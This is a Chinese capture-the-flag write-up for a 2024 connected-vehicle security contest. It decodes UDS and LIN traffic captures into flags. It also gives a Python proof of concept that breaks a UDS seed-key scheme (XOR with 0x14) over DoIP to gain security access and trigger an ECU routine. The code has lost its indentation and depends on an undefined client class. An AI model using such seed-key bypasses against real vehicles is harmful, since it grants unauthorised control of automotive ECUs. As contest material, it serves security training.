2024SupperCS线上初赛IOV

中国汽研联合鹏城实验室主办,并携手为辰信安作为协办单位,共同举办“Supercs车联网安全攻防挑战赛”,旨在促进车联网安全技术的创新发展,同时提升公众对车联网安全的防护意识和能力。

uds写入流程

解压密码oelinux123

找到在日志这一段里流控输出flag

1
2
3
4
5
6
7
8
9
TX:10 2B 2E F1 90 66 32 6C
RX:30 00 0A AA AA AA AA AA
TX:21 66 77 33 61 72 30 6A
TX:22 6B 79 36 77 67 39 66
TX:23 33 65 66 39 35 61 37
TX:24 66 32 36 61 34 62 62
TX:25 44 6D 6F 4D 48 36 69
TX:26 4C 30 AA AA AA AA AA
RX:03 6E F1 90 AA AA AA AA

转成解码出来就是flag

你的旧相识LIN

过滤 usb.dst == 2.12.2过滤查看你流量拼接起来就是flag

31_service

  • sed:45 f0 ab 71 66 c1 d5 00 e1 12 80 0a a0 4a 6c ef
  • key:51 e4 bf 65 72 d5 c1 14 f5 06 94 1e b4 5e 78 fb
  • Key的计算方式:提示中提到“XOR”,我们可以尝试将Seed和Key进行异或运算
1
2
3
Seed        : 45 f0 ab 71 66 c1 d5 00 e1 12 80 0a a0 4a 6c ef
Key : 51 e4 bf 65 72 d5 c1 14 f5 06 94 1e b4 5e 78 fb
XOR Result : 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

这表明Key是通过将Seed每个字节与0x14进行异或得到的

  • 计算用于后续通信的Key
1
2
3
#再次进行通信,且Seed改变了,可以使用以下方式计算Key
def calc_key(seed):
return bytes([b ^ 0x14 for b in seed])

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import socket
import struct

DOIP_IP = "192.168.18.21"
DOIP_PORT = 13400

# 计算 Key
def calculate_key(seed):
return bytes([b ^ 0x14 for b in seed])

# 构建并发送请求Seed
def request_seed(client):
# Security Access - Request Seed (0x27 0x01)
uds_message = bytes([0x27, 0x01])
response = client.send(uds_message)
print("Sent Seed request")
return response

# 接收Seed并发送Key的消息
def receive_seed_and_send_key(client, response):
# 解析UDS响应
response_code = response[0]
if response_code != 0x67 or response[1] != 0x01:
raise Exception("Unexpected UDS response for Seed request")
seed = response[2:] # Seed值跟在响应码之后
print(f"Received Seed: {seed.hex()}")

# 根据Seed计算Key
key = calculate_key(seed)
print(f"Calculated Key: {key.hex()}")

# 根据Seed计算Key
# Security Access - Send Key (0x27 0x02)
uds_message = bytes([0x27, 0x02]) + key
response = client.send(uds_message)
print("Sent Key")

response_code = response[0]
if response_code != 0x67 or response[1] != 0x02:
raise Exception("Security Access Key verification failed")
print("Security Access Granted")

def send_routine_control(client):
# Routine Control (0x31) with RID (0x55BC)
uds_message = bytes([0x31, 0x01, 0x55, 0xBC])
response = client.send(uds_message)
print("Sent Routine Control command")

response_code = response[0]
if response_code != 0x71:
raise Exception("Unexpected response to Routine Control command")
data = response[1:]
print(f"Received response data: {data.hex()}")

# 主函数
def main():
try:
# 创建DoIP客户端
client = DoIPClient(DOIP_IP, DOIP_PORT, logical_address=0x0E80, ecu_address=0x0001)
client.connect()
print(f"Connected to DoIP server at {DOIP_IP}:{DOIP_PORT}")

# 发送请求Seed消息并接收响应
response = request_seed(client)

# 接收Seed并发送Key消息
receive_seed_and_send_key(client, response)

# 发送例程控制命令
send_routine_control(client)

except Exception as e:
print(f"An error occurred: {e}")
finally:
client.close()

if __name__ == "__main__":
main()

查看相应得到flag